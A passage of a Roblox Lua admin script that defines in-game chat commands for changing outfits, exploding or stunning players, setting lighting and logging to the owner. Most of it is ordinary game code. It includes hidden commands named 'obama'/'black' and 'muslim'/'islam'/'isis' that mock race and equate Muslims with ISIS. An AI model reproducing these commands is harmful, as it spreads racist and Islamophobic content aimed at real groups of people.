6963 if Player.Character ~= nil then
6964 local Obj = Player.Character:FindFirstChild("Pants")
6965 if Obj then
6966 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
6967 else
6968 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
6969 end
6970 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
6971 end
6972 end
6973 end
6974 end};
6975
6976 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
6977 local ID = tonumber(Arguments[2])
6978 local Players = STRING:Scan(Arguments[1], Speaker)
6979 for _,Player in pairs(Players) do
6980 for _,Player in pairs(Players) do
6981 if Player.Character ~= nil then
6982 if Player.Character:FindFirstChild("Torso") then
6983 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
6984 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
6985 if Obj1 then
6986 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
6987 else
6988 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
6989 end
6990 if Obj2 then
6991 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
6992 else
6993 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
6994 end
6995 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
6996 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
6997 end
6998 end
6999 end
7000 end
7001 end};
7002
7003 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7004 local Players = STRING:Scan(Arguments[1], Speaker)
7005 for _,Player in pairs(Players) do
7006 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7007 end
7008 end};
7009
7010 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7011 if CORE:InAdminGroup(Speaker) then
7012 local Players = STRING:Scan(Arguments[1], Speaker)
7013 for _,Player in pairs(Players) do
7014 if Player:FindFirstChild("Backpack") then
7015 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7016 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7017 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7018 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7019 CORE:ExecuteResource("CookieTool", Tool)
7020 end
7021 end
7022 end
7023 end};
7024
7025 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7026 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7027 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7028 end
7029 end};
7030
7031 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7032 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7033 local Model = CORE:Insert(tonumber(Arguments[1]), game:GetService("ReplicatedStorage"))
7034 Model:MakeJoints()
7035 for i = 1,math.random(10,20) do
7036 Model.Name = Model.Name..string.char(math.random(97,122))
7037 end
7038 if Model:GetChildren()[1] then
7039 table.insert(Objects, Model)
7040 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7041 end
7042 end
7043 end};
7044
7045 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7046 local ID = tonumber(Arguments[2])
7047 local Players = STRING:Scan(Arguments[1], Speaker)
7048 for _,Player in pairs(Players) do
7049 if Player.Character then
7050 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7051 end
7052 end
7053 end};
7054
7055 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7056 local Players = STRING:Scan(Arguments[1], Speaker)
7057 for _,Player in pairs(Players) do
7058 if Player.Character then
7059 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7060 if StopAnim then StopAnim:Destroy() end
7061 end
7062 end
7063 end};
7064
7065 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7066 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7067 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7068 end
7069 end};
7070
7071 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7072 if tonumber(Arguments[1]) then
7073 Server.Lighting.Brightness = tonumber(Arguments[1])
7074 end
7075 end};
7076
7077 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7078 local Players = STRING:Scan(Arguments[1], Speaker)
7079 for _,Player in pairs(Players) do
7080 GUI:CoreGui(Player, "PlayerList", true)
7081 end
7082 end};
7083
7084 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7085 local Players = STRING:Scan(Arguments[1], Speaker)
7086 for _,Player in pairs(Players) do
7087 local Players = STRING:Scan(Arguments[1], Speaker)
7088 GUI:CoreGui(Player, "PlayerList", false)
7089 end
7090 end};
7091
7092 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7093 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7094 end, Hidden = true};
7095
7096 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7097 local Players = STRING:Scan(Arguments[1], Speaker)
7098 for _,Player in pairs(Players) do
7099 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7100 end
7101 end, Hidden = true};
7102
7103 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7104 local Players = STRING:Scan(Arguments[1], Speaker)
7105 for _,Player in pairs(Players) do
7106 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7107 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7108 Player:ClearCharacterAppearance()
7109 CORE:Insert(12436480, Player.Character, true)
7110 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7111 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7112 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7113 end
7114 end
7115 end, Hidden = true};
7116
7117 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7118 local Players = STRING:Scan(Arguments[1], Speaker)
7119 for _,Player in pairs(Players) do
7120 CORE:ChangeCharacter(Player, 0, false, Speaker)
7121 end
7122 end};
7123
7124 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7125 local Bet = Arguments[1]
7126 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7127 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7128 elseif #Bet > 5 then
7129 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7130 else
7131 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7132 if Answer == "Yes" then
7133 local OldBet = Settings.Bet
7134 CORE:ChangeBet(Bet)
7135 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7136 end
7137 end
7138 end};
7139
7140 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7141 local Prefix = Arguments[1]
7142 if #Prefix > 5 then
7143 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7144 else
7145 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7146 if Answer == "Yes" then
7147 local OldPrefix = Settings.Prefix
7148 Settings.Prefix = Prefix
7149 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7150 end
7151 end
7152 end};
7153
7154 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7155 GUI:CommandBar(Speaker)
7156 end};
7157
7158 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7159 GUI:CommandBar(Speaker)
7160 PermCommandBars[Speaker.Name] = true
7161 end};
7162
7163 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7164 PermCommandBars[Speaker.Name] = nil
7165 end};
7166
7167 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7168 local Players = STRING:Scan(Arguments[1], Speaker)
7169 for _,Player in pairs(Players) do
7170 PermCommandBars[Player.Name] = nil
7171 end
7172 end};
7173
7174 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7175 CORE:CreateFigure("Dummy", nil, true, Speaker)
7176 end};
7177
7178 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7179 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7180 end};
7181
7182 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7183 local Players = STRING:Scan(Arguments[1], Speaker)
7184 for _,Player in pairs(Players) do
7185 CORE:ClonePlayer(Player)
7186 end
7187 end};
7188
7189 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7190 local Players = STRING:Scan(Arguments[1], Speaker)
7191 for _,Player in pairs(Players) do
7192 CORE:ClonePlayer(Player, Arguments[2])
7193 end
7194 end};
7195
7196 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7197 for _,Obj in pairs(Objects) do
7198 if Obj then Obj:Destroy() end
7199 end
7200 for Name,Jail in pairs(Jails) do
7201 if not game.Players:FindFirstChild(Name) then
7202 Jail:Destroy()
7203 Jails[Name] = nil
7204 end
7205 end
7206 Objects = {}
7207 end};
7208
7209 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7210 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7211 if Obj:IsA("Hat") or Obj:IsA("Tool") then
7212 Obj:Destroy()
7213 end
7214 end
7215 end};
7216
7217 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7218 local Players = STRING:Scan(Arguments[1], Speaker)
7219 for _,Player in pairs(Players) do
7220 if Player.Character and Player.Character:FindFirstChild("Torso") then
7221 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7222 end
7223 end
7224 end};
7225
7226 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
7227 local Players = STRING:Scan(Arguments[1], Speaker)
7228 for _,Player in pairs(Players) do
7229 if Player.Character and Player.Character:FindFirstChild("Torso") then
7230 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7231 end
7232 end
7233 end};
7234
7235 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7236 local Players = STRING:Scan(Arguments[1], Speaker)
7237 for _,Player in pairs(Players) do
7238 if Player.Character and Player.Character:FindFirstChild("Torso") then
7239 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7240 end
7241 end
7242 end};
7243
7244 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7245 local Players = STRING:Scan(Arguments[1], Speaker)
7246 for _,Player in pairs(Players) do
7247 if Player.Character and Player.Character:FindFirstChild("Torso") then
7248 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7249 if Get:IsA("Sparkles") then
7250 Get:Destroy()
7251 end
7252 end
7253 end
7254 end
7255 end};
7256
7257 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7258 local Players = STRING:Scan(Arguments[1], Speaker)
7259 for _,Player in pairs(Players) do
7260 if Player.Character and Player.Character:FindFirstChild("Torso") then
7261 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7262 if Get:IsA("Fire") then
7263 Get:Destroy()
7264 end
7265 end
7266 end
7267 end
7268 end};
7269
7270 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7271 local Players = STRING:Scan(Arguments[1], Speaker)
7272 for _,Player in pairs(Players) do
7273 if Player.Character and Player.Character:FindFirstChild("Torso") then
7274 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7275 if Get:IsA("Smoke") then
7276 Get:Destroy()
7277 end
7278 end
7279 end
7280 end
7281 end};
7282
7283 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7284 local Players = STRING:Scan(Arguments[1], Speaker)
7285 for _,Player in pairs(Players) do
7286 if Player.Character and Player.Character:FindFirstChild("Torso") then
7287 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7288 local Boom = Instance.new("Explosion", Workspace)
7289 Boom.Position = Player.Character.Torso.Position
7290 end
7291 end
7292 end};
7293
7294 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7295 local Players = STRING:Scan(Arguments[1], Speaker)
7296 for _,Player in pairs(Players) do
7297 if Player.Character and Player.Character:FindFirstChild("Torso") then
7298 coroutine.wrap(function() for i = 1,50 do
7299 local Boom = Instance.new("Explosion", Workspace)
7300 Boom.Position = Player.Character.Torso.Position
7301 wait()
7302 end end)()
7303 coroutine.wrap(function() for i = 1,5 do
7304 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7305 end end)()
7306 end
7307 end
7308 end};
7309
7310 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7311 local Players = STRING:Scan(Arguments[1], Speaker)
7312 for _,Player in pairs(Players) do
7313 if Player.Character and Player.Character:FindFirstChild("Torso") then
7314 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7315 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7316 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7317 end
7318 end
7319 end};
7320
7321 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7322 local Players = STRING:Scan(Arguments[1], Speaker)
7323 for _,Player in pairs(Players) do
7324 if Player.Character and Player.Character:FindFirstChild("Torso") then
7325 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7326 end
7327 end
7328 end};
7329
7330 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7331 local Players = STRING:Scan(Arguments[1], Speaker)
7332 for _,Player in pairs(Players) do
7333 if Player.Character then
7334 Player.Character.Parent = Server.Lighting
7335 end
7336 end
7337 end};
7338
7339 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7340 local Players = STRING:Scan(Arguments[1], Speaker)
7341 for _,Player in pairs(Players) do
7342 if Player.Character then
7343 Player.Character.Parent = Server.Workspace
7344 Player.Character:MakeJoints()
7345 end
7346 end
7347 end};
7348
7349 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7350 local Players = STRING:Scan(Arguments[1], Speaker)
7351 for _,Player in pairs(Players) do
7352 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7353 Player.Character.Humanoid.PlatformStand = true
7354 end
7355 end
7356 end};
7357
7358 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7359 local Players = STRING:Scan(Arguments[1], Speaker)
7360 for _,Player in pairs(Players) do
7361 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7362 Player.Character.Humanoid.PlatformStand = false
7363 end
7364 end
7365 end};
7366
7367 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7368 local Players = STRING:Scan(Arguments[1], Speaker)
7369 for _,Player in pairs(Players) do
7370 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7371 Player.Character.Humanoid.Jump = true
7372 end
7373 end
7374 end};
7375
7376 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7377 local Players = STRING:Scan(Arguments[1], Speaker)
7378 for _,Player in pairs(Players) do
7379 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7380 Player.Character.Humanoid.Sit = true
7381 end
7382 end
7383 end};
7384
7385 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7386 local Players = STRING:Scan(Arguments[1], Speaker)
7387 for _,Player in pairs(Players) do
7388 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7389 Player.Character.Humanoid.Sit = false
7390 end
7391 end
7392 end};
7393
7394 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7395 local Players = STRING:Scan(Arguments[1], Speaker)
7396 for _,Player in pairs(Players) do
7397 if Player.Character and Player.Character:FindFirstChild("Torso") then
7398 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7399 end
7400 end
7401 end};
7402
7403 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7404 local Players = STRING:Scan(Arguments[1], Speaker)
7405 for _,Player in pairs(Players) do
7406 if Player.Character and Player.Character:FindFirstChild("Torso") then
7407 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7408 end
7409 end
7410 end};
7411
7412 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7413 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7414 end};
7415
7416 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7417 local Color = "Blue"
7418 local String = Arguments[2]
7419 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7420 if #ChatSplit >= 2 then
7421 if string.lower(ChatSplit[1]) == "green" then
7422 Color = "Green"
7423 String = ChatSplit[2]
7424 elseif string.lower(ChatSplit[1]) == "red" then
7425 Color = "Red"
7426 String = ChatSplit[2]
7427 end
7428 end
7429 local Players = STRING:Scan(Arguments[1], Speaker)
7430 for _,Player in pairs(Players) do
7431 if Player.Character and Player.Character:FindFirstChild("Head") then
7432 game:GetService("Chat"):Chat(Player.Character.Head, String, Color)
7433 end
7434 end
7435 end};
7436
7437 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7438 local Players = STRING:Scan(Arguments[1], Speaker)
7439 for _,Player in pairs(Players) do
7440 if Player.Character then
7441 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7442 end
7443 end
7444 end};
7445
7446 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7447 local Players = STRING:Scan(Arguments[1], Speaker)
7448 local ID = nil
7449 if tonumber(Arguments[2]) ~= nil then
7450 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7451 else
7452 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7453 for _,Face in pairs(FaceTable) do
7454 if string.lower(Arguments[2]) == string.lower(Face) then
7455 ID = FaceID
7456 break
7457 end
7458 end
7459 end
7460 end
7461 if ID then
7462 for _,Player in pairs(Players) do
7463 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7464 Player.Character.Head.face.Texture = "rbxassetid://"..ID
7465 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7466 end
7467 end
7468 end
7469 end};
7470
7471 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7472 local Players = STRING:Scan(Arguments[1], Speaker)
7473 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7474 for _,Player in pairs(Players) do
7475 if Player.Character and Player.Character:FindFirstChild("Head") then
7476 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7477 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
7478 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
7479 end
7480 end
7481 end};
7482
7483 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
7484 local Players = STRING:Scan(Arguments[1], Speaker)
7485 for _,Player in pairs(Players) do
7486 if Player.Character and Player.Character:FindFirstChild("Head") then
7487 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7488 end
7489 end
7490 end};
7491
7492 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
7493 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
7494 end, Http = true};
7495
7496 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Sends string as a packet to the owner remotely", 0, "Admin", false, function(Speaker, Rank, Arguments)
7497 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
7498 end, Http = true};
7499
7500 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
7501 local Players = STRING:Scan(Arguments[1], Speaker)
7502 for _,Player in pairs(Players) do
7503 local ExistingData = Player:LoadInstance("Data")
7504 if ExistingData == nil then
7505 ExistingData = Instance.new("Configuration")
7506 end
7507 ExistingData.Name = "Player Data"
7508 local Key = Instance.new("Configuration", ExistingData)
7509 Key.Name = Arguments[2]
7510 Player:SaveInstance("Data", ExistingData)
7511 end
7512 end};
7513
7514 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
7515 local Players = STRING:Scan(Arguments[1], Speaker)
7516 local Data = Arguments[2]
7517 for _,Player in pairs(Players) do
7518 local ExistingData = Player:LoadInstance("Data")
7519 if ExistingData ~= nil then
7520 if string.lower(Data) == "all" then
7521 ExistingData:ClearAllChildren()
7522 else
7523 for _,DataObj in pairs(ExistingData:GetChildren()) do
7524 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
7525 DataObj:Destroy()
7526 end
7527 end
7528 end
7529 end
7530 Player:SaveInstance("Data", ExistingData)
7531 end
7532 end};
7533
7534 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7535 local Players = STRING:Scan(Arguments[1], Speaker)
7536 local DataSet = {}
7537 for _,Player in pairs(Players) do
7538 local ExistingData = Player:LoadInstance("Data")
7539 if ExistingData ~= nil then
7540 if #ExistingData:GetChildren() ~= 0 then
7541 for _,Data in pairs(ExistingData:GetChildren()) do
7542 table.insert(DataSet, Player.Name..": "..Data.Name)
7543 end
7544 else
7545 table.insert(DataSet, "Data does not exist for "..Player.Name)
7546 end
7547 else
7548 table.insert(DataSet, "Data does not exist for "..Player.Name)
7549 end
7550 end
7551 GUI:ListGui(Speaker, "Notes", DataSet)
7552 end};
7553
7554 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
7555 local Players = STRING:Scan(Arguments[1], Speaker)
7556 for _,Player in pairs(Players) do
7557 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7558 Player.Character.Humanoid.WalkSpeed = 16
7559 end
7560 end
7561 end};
7562
7563 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
7564 local Players = STRING:Scan(Arguments[1], Speaker)
7565 for _,Player in pairs(Players) do
7566 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7567 Player.Character.Humanoid.WalkSpeed = -16
7568 end
7569 end
7570 end};
7571
7572 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
7573 local TeamColor = BrickColor.random()
7574 local TeamName = Arguments[1]
7575 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
